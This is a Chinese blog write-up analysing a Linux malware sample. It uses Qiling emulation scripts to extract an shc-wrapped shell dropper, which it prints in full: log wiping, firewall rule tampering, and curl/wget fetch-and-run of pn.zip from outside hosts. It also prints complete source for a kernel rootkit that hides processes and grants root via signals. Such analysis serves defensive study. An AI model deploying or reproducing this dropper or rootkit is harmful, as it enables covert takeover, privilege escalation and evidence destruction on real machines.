恶意木马分析

溴化锂 溴化锂 Views -- #技术#CTF

样本sha256sum: 54d60fd58d7fa3475fa123985bfc1594df26da25c1f5fbc7dfdba15876dd8ac5

查一下好像不少分析了。但是还是试试好不好玩?

快速看一下没加壳,所以直接丢ida里。

 可以找到逻辑在上面的main_logic里面。

注意到sub_400BC5是从.data段拿出很多东西,根据长度解密。且第一次运行了sub_400AE3。

看一眼像是rc4的ksa?

这个是prng,rc4没跑了

可以注意到这里用了execvp

考虑直接hook最后这里。

再大概看了下还有这样的一个函数用来检查environment,然后决定下面的执行流程:

分析到这里大概可以知道,run ⇒ checkenv ⇒ execvp。所以考虑hook掉这几个syscall,观察参数。

直接在物理机运行这个文件会对系统造成损坏,我们用“qiling“模拟执行。注意到这里我们需要下载它给的rootfs(或者其实是glibc)

from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"
ql = Qiling(
    [binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)

def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
    argv_ptr = params["argv"]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
            i += 1
        print(")")
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0


ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()

运行后可以看到,它设置里环境变量,而后重启了一次。

所以模拟一下环境变量,底下运行参数带上:

from sys import argv
from qiling import Qiling
from capstone import Cs
from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE, QL_INTERCEPT
from qiling.os.const import STRING, POINTER
from colorama import Fore, Style, init
binary_path = "target"
rootfs = "./rootfs/x8664_linux"


env_storage = {}
_ENV_ARENA_BASE = None
_ENV_ARENA_SIZE = 0x10000
_ENV_ARENA_NEXT = 0


def _env_alloc(ql, size: int) -> int:
    global _ENV_ARENA_BASE, _ENV_ARENA_NEXT
    size = (size + 7) & ~7
    if _ENV_ARENA_BASE is None:
        base = 0x55550000
        ql.mem.map(base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = base
        _ENV_ARENA_NEXT = 0
    if _ENV_ARENA_NEXT + size > _ENV_ARENA_SIZE:
        new_base = _ENV_ARENA_BASE + _ENV_ARENA_SIZE
        ql.mem.map(new_base, _ENV_ARENA_SIZE, 3)
        _ENV_ARENA_BASE = new_base
        _ENV_ARENA_NEXT = 0
    addr = _ENV_ARENA_BASE + _ENV_ARENA_NEXT
    _ENV_ARENA_NEXT += size
    return addr


init(autoreset=True)
def ql_hook_execvp(ql):
    params = ql.os.resolve_fcall_params({'file': STRING, 'argv': POINTER})
    print(f"{Fore.CYAN}[*] execvp{Style.RESET_ALL}('{Fore.YELLOW}{params['file']}{Style.RESET_ALL}'", end="")
    argv_ptr = params["argv"]

    if argv_ptr:
        i = 0
        while True:
            arg_ptr = ql.mem.read_ptr(argv_ptr + i * ql.arch.pointersize)
            if arg_ptr == 0:
                break
            arg_str = ql.os.utils.read_cstring(arg_ptr)
            print(f", {Fore.GREEN}\"{arg_str}\"{Style.RESET_ALL}", end="")
            i += 1
        print(")")
    return 0
def ql_hook_getenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] getenv('{name}'){Style.RESET_ALL}")
    ql.arch.regs.rax = 0 # return 0

    if name in env:
        value = env[name]
        value_bytes = value.encode() + b'\x00'
        cached = env_storage.get(name)
        if cached and len(value_bytes) <= cached[1]:
            cstr_addr = cached[0]
        else:
            cstr_addr = _env_alloc(ql, len(value_bytes))
            env_storage[name] = (cstr_addr, len(value_bytes))
        ql.mem.write(cstr_addr, value_bytes)
        ql.arch.regs.rax = cstr_addr
        print(f" -> '{value}'")
    else:
        ql.arch.regs.rax = 0
        print(" -> NULL")

def ql_hook_putenv(ql):
    params = ql.os.resolve_fcall_params({'name': STRING})
    name = params['name']
    print(f"{Fore.YELLOW}[*] putenv('{name}'){Style.RESET_ALL}", end="")
    ql.arch.regs.rax = 0 # return 0




ql = Qiling(
    [binary_path, "-c", f"exec '{binary_path}' \"$@\"", binary_path],
    rootfs,
    archtype=QL_ARCH.X8664,
    ostype=QL_OS.LINUX,
    verbose=QL_VERBOSE.OFF,
)
env = {"x286b700fc2c16ba1": "2912544797019433889 4"}

ql.os.set_api("execvp", ql_hook_execvp)
ql.os.set_api("getenv", ql_hook_getenv)
ql.os.set_api("putenv", ql_hook_putenv)
ql.run()

后面搜索之后发现这玩意是shc编译的。

于是搓了个妙妙脚本,适配了所有的shc版本,只要glibc版本是对的就能用(?

可以extract出来脚本,这里分开写,不然没高亮了。

rm -rf /var/www/html/config.json
rm -rf /root/.xmrig.json
rm -rf /root/.config/xmrig.json
rm -rf /var/log/messages*
rm -rf /var/log/secure*
rm -rf /var/log/auth.log*
rm -rf /var/log/syslog*
# 删除操作痕迹
echo "fs.file-max = 2097152" > /etc/sysctl.conf
sysctl -p
ulimit -SHn 1024000
# 修改系统限制(文件系统描述符数量)
mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&
mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&
sleep 1
# 看不懂?
iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
iptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
# 丢掉系统中部分关于特定ip的防火墙规则
mv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&
mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&
# 还是不懂,和刚刚那段一样
hhide=$1
if [ -z "$1" ]; then
  hhide="ad12e85f"
else
  hhide="$1"
fi

然后做了一个文件:

#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif

#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
#include <linux/unistd.h>
#endif

#ifndef __NR_getdents
#define __NR_getdents 141
#endif

#include "iptable_reject.h"

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0;
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);
unsigned long start_rodata;
unsigned long init_begin;
#define section_size init_begin - start_rodata
#endif
static unsigned long *__sys_call_table;
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
        static t_syscall orig_getdents;
        static t_syscall orig_getdents64;
        static t_syscall orig_kill;
#else
        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
                unsigned int);
        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
                struct linux_dirent64 *, unsigned int);
        typedef asmlinkage int (*orig_kill_t)(pid_t, int);
        orig_getdents_t orig_getdents;
        orig_getdents64_t orig_getdents64;
        orig_kill_t orig_kill;
#endif

unsigned long *
get_syscall_table_bf(void)
{
        unsigned long *syscall_table;

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
        kallsyms_lookup_name_t kallsyms_lookup_name;
        register_kprobe(&kp);
        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
        unregister_kprobe(&kp);
#endif
        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
        return syscall_table;
#else
        unsigned long int i;

        for (i = (unsigned long int)sys_close; i < ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i;

                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL;
#endif
}

struct task_struct *
find_task(pid_t pid)
{
        struct task_struct *p = current;
        for_each_process(p) {
                if (p->pid == pid)
                        return p;
        }
        return NULL;
}

int
is_invisible(pid_t pid)
{
        struct task_struct *task;
        if (!pid)
                return 0;
        task = find_task(pid);
        if (!task)
                return 0;
        if (task->flags & PF_INVISIBLE)
                return 1;
        return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents64(pt_regs), err;
#else
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents64(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif
        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
                int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent);
        return ret;
}

void
give_root(void)
{
        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                current->uid = current->gid = 0;
                current->euid = current->egid = 0;
                current->suid = current->sgid = 0;
                current->fsuid = current->fsgid = 0;
        #else
                struct cred *newcreds;
                newcreds = prepare_creds();
                if (newcreds == NULL)
                        return;
                #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)                         && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS)                         || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
                        newcreds->uid.val = newcreds->gid.val = 0;
                        newcreds->euid.val = newcreds->egid.val = 0;
                        newcreds->suid.val = newcreds->sgid.val = 0;
                        newcreds->fsuid.val = newcreds->fsgid.val = 0;
                #else
                        newcreds->uid = newcreds->gid = 0;
                        newcreds->euid = newcreds->egid = 0;
                        newcreds->suid = newcreds->sgid = 0;
                        newcreds->fsuid = newcreds->fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

static inline void
tidy(void)
{
        kfree(THIS_MODULE->sect_attrs);
        THIS_MODULE->sect_attrs = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
void
module_show(void)
{
        list_add(&THIS_MODULE->list, module_previous);
        module_hidden = 0;
}

void
module_hide(void)
{
        module_previous = THIS_MODULE->list.prev;
        list_del(&THIS_MODULE->list);
        module_hidden = 1;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        pid_t pid = (pid_t) pt_regs->di;
        int sig = (int) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        pid_t pid = (pid_t) pt_regs->regs[0];
        int sig = (int) pt_regs->regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
        struct task_struct *task;
        switch (sig) {
                case SIGINVIS:
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task->flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER:
                        give_root();
                        break;
                case SIGMODINVIS:
                        if (module_hidden) module_show();
                        else module_hide();
                        break;
                default:
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
                        return orig_kill(pt_regs);
#else
                        return orig_kill(pid, sig);
#endif
        }
        return 0;
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
        unsigned long __force_order;

        asm volatile(
                "mov %0, %%cr0"
                : "+r"(val), "+m"(__force_order));
}
#endif

static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
#else
        write_cr0(cr0);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL_RO);

#endif
}

static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0 & ~0x00010000);
#else
        write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL);
#endif
}

static int __init
iptable_reject_init(void)
{
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
        start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
        init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif

        module_hide();
        tidy();

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        protect_memory();

        return 0;
}

static void __exit
iptable_reject_cleanup(void)
{
        unprotect_memory();

        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

        protect_memory();
}

module_init(iptable_reject_init);
module_exit(iptable_reject_cleanup);

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char            d_name[1];
};

#define MAGIC_PREFIX ""

#define PF_INVISIBLE 0x10000000

#define MODULE_NAME "iptable_reject"

enum {
        SIGINVIS = 41,
        SIGSUPER = 54,
        SIGMODINVIS = 53,
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
            .symbol_name = "kallsyms_lookup_name"
};
#endif
obj-m := iptable_reject.o
CC = gcc -Wall
KDIR := /lib/modules/25.0.0/build
PWD := /tmp/a

并且尝试把这个内核扩展编译后加载进系统。

不太懂,请G老师来讲把!

于是这个恶意软件在内核中添加了很多提权功能和通道。

接着看

DIR3="/etc/$hhide"
if [ -d "$DIR3" ]; then
  echo "folder  ok"
else
  mkdir "$DIR3"
fi
EXE=`echo $RANDOM | md5sum | head -c 8` # 随机process! 
PID=`cat /tmp/.X0_locks` # 已经启动的进程
mama=$2 # 代理
if [ -e "/proc/$PID/status" ]; then
  echo "process exists" # 存在了,直接退出?
else
if [ -z "$2" ]; then # 没有proxy,也退出。
  echo "No Prx"
else
  if grep -q "localhost00" "/etc/hosts"; then # localhost00 添加
    echo "H exists"
  else
    if [ `wc -l < /etc/hosts` -lt 3 ]; then
      echo "$mama localhost00" >> /etc/hosts # localhost00 -> localhost
    else
      sed -i "3i $mama localhost00" /etc/hosts
    fi
  fi
fi
  echo "process not exists"
  FILE1="/etc/$hhide/iptable_reject"
  if [ -f "$FILE1" ]; then
      echo "PI exists."
  else # 下载解压
      echo "PI does not exist."
      curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip
    FILE="/tmp/pn.zip"
    FILESIZE=$(stat -c%s "$FILE")
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
      echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip
    fi
    if (( FILESIZE > "1000000")); then 
        echo "zip exists."
    else
        echo "zip does not exist."
        rm -rf "$FILE"
        wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip
    fi
    cd /tmp/
    unzip -qq -o pn.zip
    rm -rf pn.zip
    mv iptable_reject "$FILE1"
  fi
  # 准备运行
  FILE2="/$EXE"
  if [ -f "$FILE2" ]; then
      echo "MD exists."
  else
      echo "MD does not exist."
      cp "$FILE1" /"$EXE"
  fi
  /"$EXE" 2>/dev/null 1>/dev/null&
  sleep 2
  pidof "$EXE" > /tmp/.X0_locks # 存放pid
  rm -rf /"$EXE"
  kill -53 10000000 # 提权
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks` # 提权
    kill -53 10000000
  else
    echo "M not exists"
    module_install
    kill -53 10000000
  if grep -q "iptable_reject" "/proc/modules"; then
    echo "M exists"
    kill -41 `cat /tmp/.X0_locks`
    kill -53 10000000
  else
    echo "M not installed check errors 2"
  fi
  fi
fi
sudo journalctl --vacuum-time=1s

嗯于是下一步是拿到他的pn.zip,同样我们也找到了——sha256sum是:751227400b52c41bbaecea83dc97182c10da158e22d0168f237c9b6c3be8e0d8 。这个可以找到相关的分析,这里就不做了。

Comments

0 comments
?